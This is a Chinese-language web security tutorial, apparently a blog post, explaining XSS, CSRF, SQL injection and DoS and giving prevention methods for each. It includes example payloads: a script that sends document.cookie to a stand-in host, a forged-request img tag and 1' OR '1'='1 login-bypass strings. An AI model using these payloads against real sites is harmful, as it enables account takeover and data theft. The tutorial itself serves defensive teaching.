跨站脚本攻击(XSS)

概念

跨站脚本攻击(Cross-Site Scripting, XSS),是将代码注入到用户浏览的网页上,注入的内容可以是HTML或者JavaScript。利用了用户对网站的信任。

原理

  • 假设现在有一评论区域,用户可以在上面发布内容(即UGC),评论的内容会被渲染在一个<p>标签内,若攻击者输入如下内容:

    1
    <script>location.href="//domain.com/?c="+document.cookie</script>
  • 那么在其他用户的页面上则会渲染成:

    1
    2
    3
    <p>
    <script>location.href="//domain.com/?c="+document.cookie</script>
    </p>
  • 页面在渲染时加载了其中的js代码,被迫访问domain.com并携带上了当前作用域的Cookie信息,那么domain.com这个站点就可以得到用户的Cookie数据,从而造成Cookie的泄露。如果该站点可以通过Cookie管理登录状态,那么攻击者就可以通过这个Cookie使用被攻击者的账号进行操作。

预防手段

  1. 设置Cookie为HttpOnly

    当Cookie被设置为HttpOnly时,这个Cookie将不能被客户端的JavaScript访问,那么攻击者将无法使用JS获取到用户的Cookie数据,从而保护Cookie信息。

  2. 过滤特殊字符

    将特殊字符比如<转义为&lt;,将>转义为&gt;等,从而避免攻击者输入HTML和JavaScript代码的执行

  3. 定义标签白名单和黑名单

    如果用户可以使用富文本编辑器发布代码内容,就不能简单将<转义为&lt;之类,这时可以将具有攻击价值的标签转义,比如表单<form>、脚本<script>之类,而无需转义如<p><span>之类的标签。

跨站请求伪造(CSRF)

概念

跨站请求伪造(Cross-site request forgery,CSRF)通过挟制用户在曾经认证过的Web应用程序上(比如邮箱网页端)执行非本意的操作(比如发邮件)从而完成攻击,利用了网站对用户浏览器的信任(因为浏览器保留了用户的登录信息),使其认为是用户本人在进行操作。

原理

  • 假设某家邮箱使用URL参数的方式进行邮件发送,格式如下:

    1
    http://example-email.com/send?to=[收信邮箱]&content=[发送内容]
  • 攻击者可以将这种地址藏在论坛,博客等任何有用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施,用户即使访问熟悉的可信网站也有受攻击的危险。比如,如果攻击者在一个网站上留下这样的内容:

    1
    <img src="http://example-email.com/send?to=example@email.com&content=帮我转账1000元给账户1234568">
  • 而用户恰好使用该邮箱平台且处于登录状态,那么就会以用户的名义给example@email.com发送一封内容为帮我转账1000元给账户1234568的邮件。

预防手段

  1. 添加校验Token

    在使用敏感接口时,使用无法伪造的数据进行验证,例如服务器在表单中附加一个生成随机数,在提交时需要回传这个随机数。

  2. 检查 Referer 首部字段

    • Referer 首部字段位于 HTTP 报文中,用于标识请求来源的地址。检查这个首部字段并要求请求来源在同一个域名下,可以有效防范 CSRF 攻击。

    • 这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其 Referer 字段的可能。

  3. 输入验证码

    因为 CSRF 攻击是在用户无意识的情况下发生的,所以要求用户输入验证码可以让用户知道自己正在做的操作,从而避免非用户本人进行的操作。

SQL注入

概念

攻击者通过写下非法的SQL语句,传送到服务器使服务端进行了非法的SQL查询。

原理

  • 假设某个站点的后端使用如下操作逻辑完成登录:

    1
    sqlStr = "SELECT * FROM users WHERE (username='" + userName + "') AND (password='" + password +"')";
  • 如果攻击者分别填入如下内容:

    1
    2
    username:"1' OR '1'='1"
    password:"1' OR '1'='1"
  • 那么在服务端的SQL查询字符串为:

    1
    sqlStr = "SELECT * FROM users WHERE (username = '1' OR '1'='1') AND (password = '1' OR '1'='1')";

    这条语句等价于:SELECT * FROM users;,从而查询出所有用户的信息数据。

预防手段

  1. 使用参数化查询

    比如Java中的 PreparedStatement 是预先编译的 SQL 语句,可以传入适当参数并且多次执行。由于没有拼接的过程,因此可以防止 SQL 注入的发生。

    1
    2
    3
    4
    PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
    stmt.setString(1, userid);
    stmt.setString(2, password);
    ResultSet rs = stmt.executeQuery();
  2. 单引号转换

    将传入的参数中的单引号转换为连续两个单引号,使UGC内容区域的单引号自闭和。

拒绝服务攻击DoS

  • 拒绝服务攻击(denial-of-service attack,DoS),亦称洪水攻击,其目的在于使目标电脑的网络或系统资源耗尽,使服务暂时中断或停止,导致其正常用户无法访问。

  • 分布式拒绝服务攻击(distributed denial-of-service attack,DDoS),指攻击者使用两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。